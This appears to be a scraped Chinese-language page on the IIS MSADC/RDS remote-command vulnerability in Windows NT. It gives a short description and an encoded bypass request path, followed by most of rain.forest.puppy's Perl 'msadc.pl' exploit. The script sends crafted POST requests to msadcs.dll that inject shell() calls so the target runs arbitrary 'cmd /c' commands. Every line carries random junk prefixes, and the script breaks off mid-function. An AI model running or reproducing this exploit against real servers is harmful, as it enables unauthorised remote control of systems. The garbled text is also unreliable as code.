IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
v?vm-e |aIY 涉及程序:
R$sG*=a!8j Microsoft NT server
IXc"gO bC&*U|de 描述:
7G zf>n 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
:VGvL"Kro 4'_PLOgnX 详细:
1U^;fqvja 如果你没有时间读详细内容的话,就删除:
TldqF BX c:\Program Files\Common Files\System\Msadc\msadcs.dll
n j0! 有关的安全问题就没有了。
D% v{[KY T 5$db-^ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
Db3#; 1<IF@__ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
3+ JkV\AF 关于利用ODBC远程漏洞的描述,请参看:
&>,c..Ke Ahv %Q%m%2 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm !#xk?L yB )!+~q!A 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
j]~;|V5Z http://www.microsoft.com/security/bulletins/MS99-025faq.asp nJC/yS| 6R1}fdHvP 这里不再论述。
jbZ%Y0km% gE;r;#Jt4 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
[+j}:u C3>&O?7J*7 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
9=YX9nP 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
lXso@TNrZ0 V $Y=JK@ <#HQU< #将下面这段保存为txt文件,然后: "perl -x 文件名"
ROqz$yY VI_8r5o #!perl
}04EM #
}g&A=u_2 # MSADC/RDS 'usage' (aka exploit) script
sbqAjm} #
J$"3w,O6+U # by rain.forest.puppy
X"lPXoCN #
,sF49CD # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
l=4lhFG,Mk # beta test and find errors!
qJN!L)) Ps<;DE\$f4 use Socket; use Getopt::Std;
=cz^g^7 getopts("e:vd:h:XR", \%args);
<MdIQ;I8 oU"!"t print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
~FCkr&Ky3 \7]0vG if (!defined $args{h} && !defined $args{R}) {
0;6eSmF print qq~
l4:B( Usage: msadc.pl -h <host> { -d <delay> -X -v }
tr?U/YG -h <host> = host you want to scan (ip or domain)
e,V @t% -d <seconds> = delay between calls, default 1 second
;xqN#mqq -X = dump Index Server path table, if available
N5K\h}'% -v = verbose
Z8 eB5!$ -e = external dictionary file for step 5
IPHZ~'M ,y5,+:Y
~ Or a -R will resume a command session
P-]u&m/6 bSJ@
5qS ~; exit;}
,#?iu?i/ [0>I6Jl $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Tew?e&eO if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
r8%"#<]/ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
WtS5i7:<Y if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
;8Qx~:c $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
|[./jg" if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
; ,9:1.L XSOSy2: if (!defined $args{R}){ $ret = &has_msadc;
,9~=yC die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
e2F{}N b';oFUU>Q print "Please type the NT commandline you want to run (cmd /c assumed):\n"
~$PY6s . "cmd /c ";
^GL>xlZ( $in=<STDIN>; chomp $in;
sx1w5rj.Y0 $command="cmd /c " . $in ;
JiN>sEAM >a%C'H.A9 if (defined $args{R}) {&load; exit;}
G1tua"Px 4>R)2g print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
RwyX,| &try_btcustmr;
^L?2y/ Lqa|9|! print "\nStep 2: Trying to make our own DSN...";
<Dk6o`7^N &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
%r
=9,IJ 'LX]/D print "\nStep 3: Trying known DSNs...";
omu)s
'8 &known_dsn;
xu<oQBt BS*Y3 $ print "\nStep 4: Trying known .mdbs...";
XU5GmGu_+ &known_mdb;
AJYZ` }t%2giJ if (defined $args{e}){
pE4yx5r5 print "\nStep 5: Trying dictionary of DSN names...";
h[(. &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
.QVN&UyZ 9 `+RmX;m print "Sorry Charley...maybe next time?\n";
T;C0t9Yew exit;
'f_[(o+n 8{4SaT.-Rm ##############################################################################
P1G;JK W!Fu7a sub sendraw { # ripped and modded from whisker
taBCE?{ sleep($delay); # it's a DoS on the server! At least on mine...
\p.eY)> my ($pstr)=@_;
328gTP1 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
_=YHO. die("Socket problems\n");
2'U+QK@ if(connect(S,pack "SnA4x8",2,80,$target)){
&zV;p select(S); $|=1;
@V =HY print $pstr; my @in=<S>;
5c
($~EFr select(STDOUT); close(S);
X+KQ%Efo return @in;
v{8W+ } else { die("Can't connect...\n"); }}
NTV@, 01w}8a( ##############################################################################
4{6XZ_J1 wX+KW0|> sub make_header { # make the HTTP request
jJqq:.XqB8 my $msadc=<<EOT
)0XJOm POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
eKvQS}11 User-Agent: ACTIVEDATA
@:w[(K[^b/ Host: $ip
Qv
B%X)J Content-Length: $clen
Lq#$q>!K Connection: Keep-Alive
)(V!& w6
s;W1YN ADCClientVersion:01.06
#-7w| Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
UPcx xtC Q@ghQGn# --!ADM!ROX!YOUR!WORLD!
-izZ D Content-Type: application/x-varg
w%?6s 3 Content-Length: $reqlen
]I:h4hgw 0eFvcH:qG EOT
I><sK-3 ; $msadc=~s/\n/\r\n/g;
Qm@v}pD return $msadc;}
\1nj=ca? d)1Pl3+ ##############################################################################
jrN"en B&Iy_; sub make_req { # make the RDS request
k)TNmpL%" my ($switch, $p1, $p2)=@_;
,M0#?j> my $req=""; my $t1, $t2, $query, $dsn;
x.%x|6G* "t&_!Rm if ($switch==1){ # this is the btcustmr.mdb query
DAVgP7h' $query="Select * from Customers where City=" . make_shell();
^3lEfI<pBm $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
!Ct'H1J- $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
94'0X D:#e;K elsif ($switch==2){ # this is general make table query
' }T6dS $query="create table AZZ (B int, C varchar(10))";
wvz_)bN~A $dsn="$p1";}
cr>"LAi a&C}'e" elsif ($switch==3){ # this is general exploit table query
&O\$=&, h $query="select * from AZZ where C=" . make_shell();
JW9U&Bj{ $dsn="$p1";}
&Xp